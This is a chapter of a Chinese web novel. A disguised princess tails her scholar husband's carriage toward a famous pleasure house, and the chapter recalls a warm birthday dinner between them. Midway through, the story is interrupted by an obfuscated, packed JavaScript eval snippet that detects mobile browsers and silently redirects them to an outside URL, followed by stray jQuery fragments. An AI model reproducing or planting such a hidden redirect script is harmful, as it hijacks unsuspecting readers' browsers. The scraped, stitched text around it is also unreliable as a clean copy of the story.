“公主殿下，裴大人前几日晚归不是为您寻生辰贺礼去了么？”小萍与姜成沐躲在京都衙府不远处的一条小巷里，“公主生辰已过，裴大人应当不会晚归了罢？这天气这样冷，还是早些回去的好……”


    姜成沐用眼神示意她安静。今日她没有身着象征公主身份的华丽长裙，而是换上了一件低调奢华有内涵的黑色男式衣物。长发用玉冠束起，两侧垂下的发丝被冷风吹得糊了满面。


    她把碎发别到耳后，信心满满道：“你且看着罢，他今日散衙后，一定会出去鬼混的。”


    小萍：“公主殿下，您是不是太不信任裴大人了一点？”


    姜成沐眼睛都不眨地盯着衙府大门：“他哪来那么多银钱，去买西域宝石？”


    小萍回忆片刻：“裴大人平日里节俭，这么多年来存下的俸禄，都为公主采购生辰贺礼了。裴大人说，公主这样金贵，普通的物件自然配不上公主。要送，就要送最特别、最好的。”


    姜成沐顿了下，教育小萍道：“男人惯会花言巧语。裴旭若是想，把一件普通的小事说出花来都行。他所言字句不能当真。”


    “可是裴大人看上去很真诚。”小萍道，“公主，我还没见过这样温润如玉的男子，您是不知道，裴大人当时表情温柔得……”


    “都是假象。”姜成沐笃定，“骗骗你这种小姑娘罢了。莫说话了，你来本公主面前夸他，他的目的就达到了。”


    “啊？这样吗？”小萍不解道。


    “所以他现下身上没有银钱了对吧？”姜成沐问。


    “应当是……没有多少了罢？”小萍回答。


    “贫贱夫妻百事哀。”姜成沐感慨，低声喃喃∶“没钱了还敢去青楼逛……”


    小萍：“？？？”


    姜成沐冷笑。那天她就发现了，裴旭身上有一种若有若无的脂粉味。重到被冷风吹了这么久还没散的脂粉味？除了传说中的青楼，她再想不到第二个地方。


    “许是裴大人为公主挑选胭脂去了呢？”小萍问道。


    “噤声。”姜成沐躲在墙后，看到一个熟悉的身影从府衙门口走出。


    裴旭现下穿的已然不是官服，而是一袭绣着银色暗纹的白色华服。他从袖中一抖，竟是翻出了一把白色的折扇。大冷天的，裴某人还要拿着把小折扇呼呼扇风。


    这样脑子有问题的还不止裴旭一个人。裴旭身边围着一群穿着花哨的青年男子，面色红润，眼带精光。玉制腰带镶嵌着各式各样的琳琅宝石，头上的金冠技艺繁复，简直就差要把“我很有钱”写在脑门上。


    “要风度不要温度？”姜成沐心中吐槽，“他旁边都是些什么人？”


    小萍跟随姜成沐的步伐，也探出半个脑袋查看。


    “公主殿下，您不知道吗？”小萍道，“这些……都是京城里有名的纨绔子弟啊！还有好几个曾经来找您提过亲，都给您拒绝了。好像听说最近裴大人新官上任，那些贵族有意把自家公子送入裴大人手下，让他们学习一番。如今看来……”


    “如今看来是裴旭向他们学习？”姜成沐道。


    “……”小萍犹疑了片刻，“公主殿下，裴大人素来是不喜欢这些公子哥的，怎么会和他们混在一起？”


    “还不止裴旭。”姜成沐呵呵一笑，那群公子簇拥的中心有两人，一人是裴旭，另一人，就是裴旭的好兄弟杜诏。


    姜成沐心中觉得奇怪。裴旭也就算了，杜诏那么一个正到不行的好官，为何也会与这些花花公子同流合污？事出反常必有妖。她今日，就要查探清楚，究竟是什么事情，什么人，绊住了裴旭的回家之路！


    “公主殿下，他们走了！”小萍的声音唤回了姜成沐的思绪。姜成沐应了一声，等到府衙门口众人登上马车离开后，才从巷子背后走出。她早就安排了车马，为了今日的“捉奸”。


    “跟上那辆马车。”姜成沐吩咐车夫。


    “是，公主。”车夫扬起马鞭，驱动马车前行。


    姜成沐所乘马车紧跟裴旭的马车。姜成沐今日不知怎么，觉得身体有些不舒服。古代的马车比之现代利落的交通工具，确实是有些颠簸了。先前去南风馆找裴旭师父那一趟马车，车上听杜诏讲讲经书，和裴旭拌拌嘴，竟也没有觉得难受。去佛缘寺那一次又因为思虑过多，一路思量如何把裴旭带出来，也无甚感觉。


    这一次，她才后知后觉。这马车，真是非常难坐啊！她打开窗，探出小半个脑袋，想要呼吸一番新鲜空气。顺便观察一下前面那辆马车，不料却看到她们所跟踪的马车也有人打开了窗户，一个脑袋探了出来，直勾勾往姜成沐这边看。


    姜成沐吓了一跳，把头转到一边。她今日服饰是男装——裴旭不可能认出她。


    话说这个裴旭也太敏锐了一些。防跟踪意识如此之强吗？


    “不要跟的太近，也不要跟丢了。”姜成沐收回透风的脑袋，与车夫道，“保持一个较为自然的距离即可。”


    “是，公主。”车夫有些踌躇，断断续续问道，“殿下……是在跟踪驸马爷吗？”


    “怎么？”姜成沐道，“什么跟踪？我们只是要去的地方恰好与前面那辆车一致罢了。”


    车夫面色奇怪，道：“公主殿下，老奴看这个方向。像是、像是去京都最大的烟花之地，梦华苑啊！”


    “梦华苑？”姜成沐嘟囔，“好耳熟。”


    “大夏第一花魁许叙颜！”小萍惊叹出声，“京中她的美貌风情盛传已久！公主殿下，小萍也好想见见这位大美人生得什么样子……但是在小萍心中，还是公主殿下最美丽，无人可及。”


    许叙颜？


    姜成沐想起来了。被张大夫罚去整理经卷时，杜诏和裴旭插科打诨曾经提过这个人。因为她“博得一笑摘面纱”的约定，还让裴旭和陈嘉世子结下了梁子。


    究竟是有多漂亮？


    “咳咳……”姜成沐道，“其实本公主也很好奇。”


    “害！那种地方的女人，自然是胭脂水粉涂出来的！”车夫嘘道，“老奴曾有幸见过一次，要我说，真比不上咱公主。咱公主的贵气那可是浑然天成。这种金枝玉叶的范儿哪是梦华苑的人比得上的？梦华苑所有女人加起来，也比不上咱大夏一位公主啊！”


    “说得对！”小萍附和，“公主殿下才是最好的！”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877325|187460||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姜成沐听着这一通夸赞。虽然她深深知晓这些话，多半是因为她尊贵的身份，才会出现在车夫口中。但是……听着确实很爽。看来《职场宝典》所说的，“拍些马屁可以使上司心情舒畅，看你更加顺眼。”这条文字，是有理有据的。


    “我们家驸马爷和这位‘第一花魁’还有些渊源呢。”姜成沐哼道，“而且本公主之前就听别人说了，三天两头在梦华苑里见着他。看来是常客。”


    “公主殿下此言差矣啊！裴大才子盛名，京都何人不知何人不晓？”车夫道，“京中百姓都很喜爱裴大人的诗。裴大人往常去什么地方，少说几百双眼睛盯着呢！裴大人喜欢给一些伶人作词，但是也仅仅是作词写曲而已，从来没有在梦华苑过夜。”


    “更别提他洁身自好，从来没有摸过女人的小手，搂过哪个女人！”车夫感慨。


    你看看你，裴旭。不仅外星人是你的毒唯，京都还都是你的脑残粉。


    从来没有摸过女人的小手……姜成沐想起了什么，“噗嗤”一声笑了出来。


    “公主殿下，笑甚？”小萍好奇。


    姜成沐唇边还残留着笑意：“没有没有。想起了我生辰那日……”


    那夜裴旭送完算盘后，天空中也飘起了小雪。二人没带伞，又身处宽阔的庭院中，被当头一场雪淋得浑身发冷。


    姜成沐对新到手的算盘爱不释手。她知道古代算盘的使用方法，对算盘的计数也非常感兴趣。那些影片中将算盘珠子拨得哗哗作响，行云流水的画面一帧一帧被调放出来，显示在她的脑子里。


    她不愿意将手缩到毛口袋里头，没一会儿就被冻的有些僵。僵到拿不起筷子。


    在第五次尝试夹小青菜失败后，裴旭看不下去，直接夺过她手中的筷子，为她夹菜。


    可能是夺筷子的过程中触碰到公主冰凉的手指，裴旭愣了下，掂量着道：“公主殿下，天气寒凉。今日都落雪了，还是多增添些衣物。殿下穿什么都好看，穿棉衣也不会胖成个球……房中棉被也需多添置几床。炭火烧过，白日离开房间最好开窗通风……”


    姜成沐心情很好，听他说教也不恼。况且，也从来没有人和自己说过这些。在那个时代，她记事开始，没有收到过任何一条类似于“天气冷了，记得多添衣”的消息。


    在她的印象里，21世纪的冬天分明没有大夏的冬天气温低。但她就是莫名觉着，大夏的冬天，似乎更暖些。


    她起了些坏心，找准机会，突然把冰凉的双手贴上裴旭的脸颊。


    裴旭被冻得一激灵，无奈：“殿下，好好吃饭。”


    姜成沐又拉起他没有拿筷子的一只手。将自己的一只手握成小拳头，塞在他手心。裴旭的手不冷，但也说不上热乎。但是较之姜成沐，还是暖上不少。


    姜成沐笑道：“觉得本公主手冷，帮着暖暖不就行了？”


    “啪”地一声，裴旭手中的筷子掉在了桌面上，又滚落到地面上。但是没有人去管那双可怜的筷子——姜成沐正饶有兴味地看绯红爬上裴旭的耳垂。裴旭心中乱成一团，千头万绪，只变作一句——


    “殿下，现在是我俩一块儿冷了。”